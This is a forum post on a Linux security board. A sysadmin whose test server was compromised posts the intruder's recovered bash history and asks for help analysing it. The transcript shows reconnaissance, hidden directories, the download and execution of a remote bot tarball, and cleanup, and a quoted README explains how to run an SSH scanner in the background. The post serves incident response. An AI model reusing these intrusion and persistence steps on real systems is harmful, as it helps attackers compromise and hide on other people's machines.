LinuxQuestions.org - Help analyzing hackers transcripts

- Linux - Security (https://www.linuxquestions.org/questions/linux-security-4/)

- - Help analyzing hackers transcripts (https://www.linuxquestions.org/questions/linux-security-4/help-analyzing-hackers-transcripts-648613/)

Help analyzing hackers transcripts

I am a newbie Linux sysadmin (but seasoned Windows administrator), and I have five boxes running in a test environment. I thought that until we went live with our production servers, we were safe, and we could let our guard down. But, after I got a Nagios [monitoring service] alert that my SQL server was running a large number of processes, I knew something was wrong.

I logged on and ran a ps -e command. It came back that there were a large numbers of the ssh-scan command running under the pts/2 terminal. But who and users showed that I was the only person on. I did a killall ssh-scan to eliminate the threat, cleaned up the rest of the processes in the pts/2 command ps -e | grep pts/2, changed the root password to a good, strong password, and thought I was done.

Except I wasn't. Two days later, we went through the same routine. Then after that as well. Someone told me that bash logs every command, so I ran locate .bash_history. I came up with our users, one in the root directory, and one in the /var/lib/mysql folder. what? We don't use MySQL, we only use PostgreSQL. I found my clue!

Unfortunetly, that's where I ran out of knowledge. I tried googling a few of the commands, but I wasn't able to figure out the breadth of the attack. I am posting the entire transcript here, maybe someone can tell me where I should be loooking to find more files that he may have dropped on our hard drive, or backdoors that he may have created. At the very least, it can be indexed by Google, and save someone else a bit of trouble.

-Simon

Code:

cd /

ls

cd /

cd home

cd /

cd /tmp

ls

rpm MySQL*

rpm -i MySQL*

su 

exit

su

exit

w

uname -a

cat /proc/cpuinfo    

/sbin/ifconfig | grep inet

cat /etc/hosts  

passwd

w

w

uname -a

cat /proc/cpuinfo    

/sbin/ifconfig | grep inet

cd /var/tmp

ls -a

mkdir "  "

cd "  "

wget {censored}/mech-linux.tgz

cd /var/tmp

mkdir .,

cd .,

ls -a

tar xvf mech-linux.tgz

cd mech-linux

./bash

w

ps -x

cd /var/tmp

cd .,

cd mnech-linux

cd mech-linux

./bash

w

ps -x

cd /var/tmp

cd .,

cd mech-linux

./bash

w

ps -x

cd /var/tmp

cd .,

ls -a

scp mech-linux.tgz guest@{censored}:/var/tmp/.,

w

cd /var/tmp

cd .,

cd dev2

cat vuln.txt

cd mech-linux

export PATH="."

bash

w

cd /var/ymp

cd /var/tmp

cd .,

cd mech-linux

export PATH="."

bash

w

ps -x

cd /var/tmp

cd .,

cd mech-linux

export PATH="."

bash

w

cd /var/tmp

cd .,

cd mech-linux

export PATH="."

bash

w

ps -x

w

cd /var/tmp

cd .,

cd "  "

ls -a

cd /tmp

ls -a

cd "  "

cd "  "

cd /dev/shm

cd .,

ls -

ls -a

cd /var/tmp

mkdir "  "

cd "  "

cat /etc/passwd

cd "  "

ls -a

cd /var/tmp

cd "  "

wget {censored}/mech-linux.tgz

tar xvf mech-linux.tgz

cd mech-linux

export PATH="."

bash

w

ps -x

kill -9 3639 

/sbin/ifconfig | grep inet

cat /etc/hosts  

cat /etc/passwd

cd /var/tmp

cd .,

cd "  "

ls -a

rm -rf *

cd /var/tmp

rm -rf "  "

mkdir .,

cd .,

wget {censored}/mech-linux.tgz

tar xvf mech-linux.tgz

cd mech-linux

pico 1.user

nano 1.user

nano 2.user

nano 3.user

touch 4.user  

nano 4.user

nano m.set

export PATH="."

bash

w

cd /var/tmp

cd .,

cd dev2

cat vul

cd mech-linux

export PATH="."

bash

w

ps -x

cd /var/tmp

cd .,

cd mech-linux

export PATH="."

bash

w

ps -x

w

cd /var/tmp

cd .,

cd mech-linux

export PATH="."

bash

After I posted the question, I looked at it again, and saw the logs seemed to gravitate around the /var/tmp folder quite a bit, so I wanted to start poking around there. I ran a ls, but it came up empty, so I tried again, this time with a ls -a. Now I got something, . . ... I knew from a previous poster that when he was hacked, he had found files installed in a directory called ". ", or a dot followed by a space, and I tried that. It worked! I dropped into /var/tmp/. ! Another ls -a, and I saw another hidden folder, .S008. Below this, I found my portscanner! I have posted the README for indexing.

I also see that all the files were owned by the Postgres user. I guess we forgot to change the password when we installed it. Oops.

btw, the I uninstalled mySQL right away. Hopefully, that puts an end to the problems right there.

Quote:

-> pentru scanare in background dai : nohup ./start 211 >> /dev/null &

-> pentru scanare in screen dai : chmod +x * , ./screen , ./start 211 , ctrl a+d (sa iesi din screen , lasand scanul sa mearga);

-> pentru normal dai : ./a 211.211

-> 211 si 211.211 sint exemple ca stiu ca sint unii retardati care nu pricep.

bafta

SpeedNet & RootF*ck

Quote: